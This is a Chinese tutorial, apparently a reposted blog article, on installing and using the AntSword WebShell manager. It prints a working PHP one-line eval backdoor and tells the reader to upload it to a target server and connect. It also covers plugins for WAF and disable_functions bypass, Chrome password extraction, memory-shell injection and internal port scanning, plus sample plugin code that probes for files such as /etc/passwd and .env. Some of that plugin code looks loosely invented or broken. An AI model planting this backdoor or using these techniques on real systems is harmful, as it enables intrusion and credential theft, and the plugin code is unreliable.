当前位置: 首页 > news >正文

蚁剑--安装、使用

用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。


一、蚁剑介绍

蚁剑(AntSword) 是一款开源的 WebShell 管理工具,专为渗透测试和安全研究设计。其核心功能是连接并管理通过漏洞上传的 WebShell(一种驻留在服务器上的恶意脚本),支持图形化操作,比传统命令行工具更高效。

特点:

  • 跨平台:基于 Electron 开发,支持 Windows、Linux、macOS。

  • 插件扩展:支持自定义插件(编码解码、数据嗅探等)。

  • 多协议支持:支持 HTTP/HTTPS,可自定义请求头绕过 WAF。

二、蚁剑原理

蚁剑的核心功能是通过 “一句话木马” 实现对目标服务器的远程控制,其工作流程如下:

  1. 植入木马:在目标服务器的网页脚本(如 PHP、ASP、JSP 等)中植入 “一句话木马”,例如 PHP 的典型木马为 <?php @eval($_POST['pass']);?>(其中pass是自定义的连接密码)。
  2. 建立连接:蚁剑通过发送 HTTP POST 请求,将控制指令(如文件操作、命令执行代码)以密码pass为标识传递给木马。
  3. 执行指令:目标服务器上的木马接收到请求后,通过eval等函数执行传递的代码,将结果返回给蚁剑,从而实现文件管理、命令执行、数据库操作等功能。
  4. 通信流程

      5.关键技术:

        动态密钥交换:客户端与 WebShell 协商 AES 密钥。

        流量伪装:通过 Cookie、Header 自定义躲避安全设备检测。

        模块化加载:核心功能(文件管理、数据库连接等)按需加载。

三、安装

有多个版本的,这里我们就以windows的为例

  1. 下载地址:访问蚁剑官方 GitHub 仓库(https://github.com/AntSwordProject/AntSword-Loader),根据操作系统(Windows、macOS、Linux)下载对应版本的加载器(压缩包形式)。访问不了github的,这里下载,蚁剑-一款强大的Webshell管理工具资源-CSDN下载
  2. 初始化环境
    • 解压加载器压缩包,以管理员权限运行加载器程序(如 Windows 下的AntSword.exe)。
    • 点击 “初始化” 按钮,选择一个本地文件夹作为工作目录,程序会自动下载并安装最新的源码和依赖。

进第一个,运行exe文件

需要进行初始化,选择第二个文件

  1. 启动程序:初始化完成后,重新打开加载器,即可进入蚁剑的图形化操作界面。

安装完成

四、使用

首先我们先创建一个一句话木马

<?php @eval($_POST['pass']);?>

然后将其上传至目标机的web目录下,访问,如下所示说明上传成功并且成功解析

 添加 WebShell,启动蚁剑→ 右键「添加」→ 填写信息:

  1. URL:WebShell 地址(如 http://target.com/shell.php

  2. 连接密码:WebShell 中预设的密码,就是一句话木马中的pass

  3. 编码器/解码器:默认选择 default(AES 加密)

  4. 点击「测试连接」→ 成功提示后保存。

连接成功然后添加即可,然后点击即可进入目标机,进行一系列操作

其中,蚁剑还有一个强大的功能,就是插件市场,那么具有哪些用途呢

插件市场的核心用途

  1. 增强基础功能

    • 文件管理:增加文件对比、批量操作等插件。

    • 终端增强:支持PowerShell、Python等交互式终端。

  2. 绕过安全防护

    • 绕过WAF:动态修改HTTP头部/Cookie躲避检测(如ModHeader插件)。

    • 突破disable_functions:利用LD_PRELOAD、FFI等技术执行被禁用的PHP函数。

  3. 漏洞利用自动化

    • 集成常见漏洞利用模块(如ThinkPHP RCE、WebLogic反序列化)。

  4. 内网渗透扩展

    • 端口扫描、Socks代理、内网主机发现(如PortScan插件)。

  5. 数据操作

    • 数据库导出(支持MySQL/MSSQL/Oracle)、配置文件解密。

插件安装方法

方式1:通过应用商店安装(推荐)

  1. 打开蚁剑 → 顶部菜单「插件」→「应用商店」。

  1. 搜索插件名称(如Bypass Disable Functions)→ 点击「安装」。
    https://antsword.gitee.io/docs/usage/plugins/images/plugin-store.png

方式2:手动安装插件

  1. 从GitHub下载插件(如蚁剑插件库)。

  2. 解压到蚁剑目录:antSword/plugins/

  3. 重启蚁剑生效。

注意:插件需与蚁剑版本兼容,否则可能报错。

关键插件使用示例

1. Bypass Disable Functions(绕过PHP限制)

  • 用途:突破PHP安全配置(如禁用system()函数)。

  • 操作步骤

    1. 连接WebShell → 右键目标Shell →「插件」→「Bypass Disable Functions」。

    2. 选择绕过方式(如LD_PRELOAD)→ 点击「执行」。

    3. 成功后终端自动切换至绕过环境,可执行任意命令。

2. PortScan(端口扫描)

  • 用途:扫描目标服务器内网开放端口。

  • 操作步骤

    1. 右键WebShell →「插件」→「PortScan」。

    2. 输入目标IP和端口范围(如192.168.1.1-254:80,443,3306)。

    3. 点击「扫描」→ 结果以表格形式展示。

3. ChromePass(浏览器密码提取)

  • 用途:获取服务器上Chrome保存的密码。

  • 步骤

    1. 确保目标为Windows系统。

    2. 启动插件 → 自动提取密码并显示明文结果。

4. ShellCodeLoader(内存马注入)

  • 用途:无文件攻击,将恶意载荷注入内存。

  • 步骤

    1. 生成Payload(如Java内存马)。

    2. 通过插件上传并注入到Tomcat等容器进程。

开发自定义插件

蚁剑支持JavaScript插件开发:

模块特点:

MyPlugin/
├── package.json    # 插件元数据
├── index.js        # 核心逻辑
└── icon.png        # 插件图标

例如一个简单的文件搜索插件,代码如下所示

'use strict';
module.exports = (core) => {// 注册右键菜单core.registerMenu('files', '搜索文件', async (e, path) => {const keyword = await core.prompt('输入关键字');const result = await core.request({url: e.URL,data: `search=${encodeURIComponent(keyword)}`});core.logger.info(`找到${result.length}个文件`);});
};

快速文件下载器插件

'use strict';module.exports = (core) => {// 注册文件管理右键菜单core.registerMenu('filemanager', '⚡ 快速下载', async (e, filePath) => {const savePath = await core.gui.dialog.save({title: '保存文件',filters: [{ name: 'All Files', extensions: ['*'] }]});if (!savePath) return;try {const stream = core.utils.file.sliceDownload(e, filePath);await core.utils.file.saveStream(savePath, stream);core.logger.success(`下载成功: ${savePath}`);} catch (err) {core.logger.error(`下载失败: ${err.message}`);}});
};

系统信息速查插件

'use strict';module.exports = (core) => {// 在Shell右键菜单添加选项core.registerMenu('shell', '🖥️ 系统信息', async (e) => {const commands = {'linux': 'uname -a; lscpu; free -h; df -h','win': 'systeminfo | findstr /B /C:"OS" /C:"CPU"; wmic memorychip get capacity; fsutil volume diskfree C:'};try {const osType = await core.request({ data: 'echo PHP_OS;' });const cmd = osType.includes('WIN') ? commands.win : commands.linux;const res = await core.request({ data: cmd });core.gui.alert(`### 系统信息\n\`\`\`\n${res}\n\`\`\``);} catch (err) {core.logger.error(`获取失败: ${err}`);}});
};

敏感文件扫描 

'use strict';module.exports = (core) => {core.registerMenu('shell', '🔍 扫描配置文件', async (e) => {const paths = ['/.env', '/config/database.php', '/WEB-INF/web.xml', '/etc/passwd','C:\\Windows\\win.ini'];let results = "发现以下配置文件:\n";for (const path of paths) {try {const res = await core.request({data: `file_exists("${path}") ? "1" : "0";`});if (res.includes('1')) results += `✅ ${path}\n`;} catch (e) { /* 忽略错误 */ }}core.gui.alert(results || "未找到常见配置文件");});
};

插件安装步骤:

  1. 在蚁剑目录创建插件文件夹:

    antSword/
    └── plugins/├── QuickDownloader/│   └── index.js├── SysInfo/│   └── index.js└── ConfigScanner/└── index.js
  2. 重启蚁剑 → 右键菜单将出现新功能

 

http://www.dtcms.com/a/327390.html

相关文章:

  • C# 基于halcon的视觉工作流-章29-边缘提取-亚像素
  • 力扣.870优势洗牌解决方法: 下标排序​编辑力扣.942增减字符串匹配最长回文子序列牛客.背包问题(最大体积)力扣.45跳跃游戏II 另一种思考
  • 数据结构——线性表(核心操作,附代码)
  • vue项目封装axios请求,支持判断当前环境及判断token是否过期等等(详细教程,可复制粘贴代码)
  • cuda排序算法--双调排序(Bitonic_Sort)
  • 【数据库】 MySQL 表的操作详解
  • 蓝桥杯手算题和杂题简易做法
  • 《Auracast广播音频技术解析及未来路线图》 —蓝牙技术联盟 市场拓展经理 吴志豪 技术与市场经理 鲁公羽
  • 基于 DiT 大模型与字体级分割的视频字幕无痕擦除方案,助力短剧出海
  • 深度学习与遥感入门(六)|轻量化 MobileNetV2 高光谱分类
  • 4.7 GB 视频导致浏览器内存溢出(OOM)的解决方案
  • 从零部署Nacos:替代Eureka的服务注册与服务发现基础教程
  • 视频输入输出模块介绍和示例
  • Dubbo 3.x源码(33)—Dubbo Consumer接收服务调用响应
  • Python day42
  • tensorrt-llm0.20.0离线部署DeepSeek-R1-Distill-Qwen-32B
  • 第六十三章:AI模型的“跨界之旅”:不同硬件架构下的兼容性方案
  • Linux NAPI 实现机制深度解析
  • 【CDA 新一级】学习笔记第1篇:数据分析的时代背景
  • 【前端八股文面试题】【JavaScript篇7】什么是JavaScript的原型、原型链? 有什么特点
  • 【设计模式精解】Java实现责任链模式(职责链模式)优雅处理多级请求(概述,使用场景,优缺点,代码示例)
  • Rust:构造函数 new() 如何进行错误处理?
  • 信号(Signal)** 是一种进程间异步通信机制,用于通知进程发生发生了某种事件(如错误、用户中断等)
  • 疯狂星期四文案网第37天运营日记
  • Apache POI中通过WorkBook写入图片后出现导出PDF文件时在不同页重复写入该图片问题,如何在通过sheet获取绘图对象清除该图片
  • 通过限制对象的内存分配位置来实现特定的设计目标
  • 【数据结构入门】堆
  • powerbi本地报表发布到web,以得到分享链接
  • C99中的变长数组(VLA)
  • 什么是 Spring MVC?